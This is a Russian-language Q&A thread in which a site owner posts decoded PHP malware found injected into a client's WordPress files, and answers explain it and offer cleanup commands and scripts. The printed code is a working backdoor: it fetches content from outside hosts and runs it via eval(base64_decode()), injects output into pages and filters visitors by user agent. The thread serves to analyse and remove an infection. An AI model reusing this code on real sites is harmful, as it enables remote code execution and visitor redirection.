Что именно этот PHP-код эксплойта (находится в моем приложении)? - PullRequest
5 голосов
/ 24 февраля 2012

Я нашел этот код в базе 64 во всех php-файлах одного из сайтов моего клиента (wordpress), и я пытаюсь понять, что он делает.

Я также пытаюсь выяснить,если это был эксплойт приложения или прямой FTP-доступ, который прошел этот код.

Все начинается с setup_globals_777() и ob_start('mrobh'), устанавливающих обратный вызов для функции mrobh($content).

Затем происходит вызов gzdecodeit ($decode), когда начинаются хлопоты.

Кажется, что он получает содержимое страницы и меняет его.Сейчас я пытаюсь обнаружить конкретные изменения и понять все функции, включая вторую gzdecodeit().

Может кто-нибудь пролить свет на это?

Звонки

setup_globals_777();
ob_start('mrobh');
// Here the application code and html output starts out

Обратный вызов:

function mrobh ($content)
{
    @Header('Content-Encoding: none');
    $decoded_content = gzdecodeit($content);
    if (preg_match('/\<\/body/si', $decoded_content)) {
        return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1',
                            $decoded_content);
    } else {
        return $decoded_content . gml_777();
    }
}

Функция настройки (понятно)

function setup_globals_777 ()
{
    $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
    $mz = "/tmp/";
    if (! is_dir($rz)) {
        @mkdir($rz);
        if (is_dir($rz)) {
            $mz = $rz;
        } else {
            $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                }
            } else {
                $mz = $rz;
            }
        }
    } else {
        $mz = $rz;
    }
    $bot = 0;
    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
        $bot = 1;
    if (stristr($ua, "bingbot") || stristr($ua, "google"))
        $bot = 1;
    $msie = 0;
    if (is_msie_777($ua))
        $msie = 1;
    $mac = 0;
    if (is_mac_777($ua))
        $mac = 1;
    if (($msie == 0) && ($mac == 0))
        $bot = 1;
    global $_SERVER;
    $_SERVER['s_p1'] = $mz;
    $_SERVER['s_b1'] = $bot;
    $_SERVER['s_t1'] = 1200;
    $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
    $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
     urlencode($_SERVER["PHP_SELF"]) . "&a=" .
     urlencode($_SERVER["HTTP_USER_AGENT"]);
    $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
    $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
    $_SERVER['s_script'] = "mm.php?d=1";
}

Первая функция, вызываемая после выполнения обратного вызова:

Вот где происходит волшебство.Я не вижу вызовов для других доступных функций и не понимаю, что эта функция на самом деле декодирует, поскольку $decode var - это вывод приложения, захваченный ob_start()

function gzdecodeit ($decode)
{
    $t = @ord(@substr($decode, 3, 1));
    $start = 10;
    $v = 0;
    if ($t & 4) {
        $str = @unpack('v', substr($decode, 10, 2));
        $str = $str[1];
        $start += 2 + $str;
    }
    if ($t & 8) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 16) {
        $start = @strpos($decode, chr(0), $start) + 1;
    }
    if ($t & 2) {
        $start += 2;
    }
    $ret = @gzinflate(@substr($decode, $start));
    if ($ret === FALSE) {
        $ret = $decode;
    }
    return $ret;
}

Все доступные функции (после base64_decode()):

<?php
if (function_exists('ob_start') && ! isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (! function_exists('mrobh')) {
        function get_tds_777 ($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }
        function trycurl_777 ($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777 ($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777 ($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f = @fopen($url, 'r');
            if ($f) {
                while (! feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777 ($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $f = @fsockopen($host, 80, $errno, $errstr, 30);
            if (! $f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (! feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function trysocket_777 ($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p = @parse_url($url);
            $host = $p['host'];
            $uri = $p['path'] . '?' . $p['query'];
            $ip1 = @gethostbyname($host);
            $ip2 = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (! @socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list ($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), 
            $buf);
            return $buf;
        }
        function update_tds_file_777 ($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list ($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777 ()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir = $_SERVER['s_p1'];
            $tdsfile = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777 ($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((! stristr($ua, "windows")) && (! stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777 ($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") ||
             stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777 ()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (! is_dir($rz)) {
                @mkdir($rz);
                if (is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (! is_dir($rz)) {
                        @mkdir($rz);
                        if (is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1'] = $mz;
            $_SERVER['s_b1'] = $bot;
            $_SERVER['s_t1'] = 1200;
            $_SERVER['s_d1'] = "http://sweepstakesandcontestsdo.com/";
            $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" .
             urlencode($_SERVER["PHP_SELF"]) . "&a=" .
             urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1'] = 'http://www.lilypophilypop.com/g_load.php' . $d;
            $_SERVER['s_a2'] = 'http://www.lolypopholypop.com/g_load.php' . $d;
            $_SERVER['s_script'] = "mm.php?d=1";
        }


        if (! function_exists('gml_777')) {
            function gml_777 ()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '';
                return $r_string_777;
            }
        }
        if (! function_exists('gzdecodeit')) {
            function gzdecodeit ($decode)
            {
                $t = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh ($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', 
                gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }

    }
}

Ответы [ 3 ]

7 голосов
/ 24 февраля 2012

Похоже, что он создает скрытую папку .log:

$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (! is_dir($rz)) {
    @mkdir($rz);
    if (is_dir($rz)) {
        $mz = $rz;
    } else {
        $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
        if (! is_dir($rz)) {
            @mkdir($rz);
            if (is_dir($rz)) {
                $mz = $rz;
            }
        } else {
            $mz = $rz;
        }
    }
} else {
    $mz = $rz;
}

Затем, кажется, загружает код из http://www.lolypopholypop.com/g_load.php и http://sweepstakesandcontestsdo.com/, base64 декодирует его, затем выполняет его:1008 *

function update_tds_file_777 ($tdsfile)
    {
        $actual1 = $_SERVER['s_a1'];
        $actual2 = $_SERVER['s_a2'];
        $val = get_tds_777($actual1);
        if ($val == "")
            $val = get_tds_777($actual2);
        $f = @fopen($tdsfile, "w");
        if ($f) {
            @fwrite($f, $val);
            @fclose($f);
        }
        if (strstr($val, "|||CODE|||")) {
            list ($val, $code) = explode("|||CODE|||", $val);
            eval(base64_decode($code));
        }
        return $val;
    }

Таким образом, без необходимости повторного доступа к вашему серверу, они могут выполнять другой код.

5 голосов
/ 24 февраля 2012

Дэн Хилл написал статью о взломе base64 для установок WordPress.

Чтобы процитировать результаты исследований Дэна:

Хак, который я обнаружил, по сути, создал новый php-файл в папке загрузки Wordpress, который позволял удаленно управлять файловой системой, а затем изменил обслуживаемые страницы (каждый .php-файл), добавив тег script, перенаправляющий посетителей на некоторые хитрые сайты.

Чтобы избавиться от проблемы, Дан попытался сделать следующее:


Я сделал это в три этапа.Во-первых, найдите любые доступные для записи каталоги (tsk tsk):

find . -type d -perm -o=w

И сделайте их не для записи в мире:

find . -type d -perm -o=w -print -exec chmod 770 {} \;

Удалите все новые файлы, созданные этими парнями:

find . -wholename '*wp-content/uploads/*.php' -exec rm -rf {} \;

(В WordPress папка для загрузки не должна содержать PHP)

На втором этапе восстановите все ваши зараженные файлы PHP.Я играл с использованием sed и xargs для этого, но в конце концов сдался и написал быстрый сценарий ruby ​​для выполнения этой работы.Запустите этот скрипт ruby ​​из корневого каталога:

#!/usr/bin/env ruby
Dir.glob('**/*.php').each do|f|
    puts f
    begin
        contents = File.read(f)
        contents =  contents.gsub(/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/, "")

        File.open(f, 'w') {|f| f.write(contents) }
    rescue
        puts "FILE ERROR"
    end
end

Последний шаг - обновить все ваши старые, забытые установки Wordpress, чтобы предотвратить появление других уязвимостей.Дополнительным шагом для удачи является сброс ваших паролей, особенно паролей MySQL, хранящихся в виде простого текста в файле wp-config.php.


Надеюсь, что выводы Дэна помогут!

1 голос
/ 24 июля 2012

Для тех, кто ищет не-Ruby исправление, вот PHP-версия кода Дана Хилла:

<?php
function fileExtension($filename) {
    $pathInfo = pathinfo($filename);
    return strtolower($pathInfo['extension']);
}

function fixFiles($path) {
    $path = str_replace('././', './', $path);
    $d = @opendir($path);

    if ($d) {
        while (($entry = readdir($d)) !== false) {
            $baseEntry = $entry;
            $entry = str_replace('././', './', $path . '/' . $entry);

            if ($baseEntry != '.' && $baseEntry != '..') {
                if (is_file($entry)) {
                    $fe = fileExtension($entry);

                    if ($fe == 'php') {
                        $contents = file_get_contents($entry);
                        $contents = preg_replace("/\<\?php \/\*\*\/ eval\(.*\)\);\?\>/", '', $contents);

                        $f = fopen($entry, 'w');
                        fputs($f, $contents);
                        fclose($f);

                        echo $entry . '<br>';
                        flush();
                    }
                }
                else if (is_dir($entry)) {
                    fixFiles($path . '/' . basename($entry));
                }
            }
        }

        closedir($d);
    }
}

fixFiles('.');
?>
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...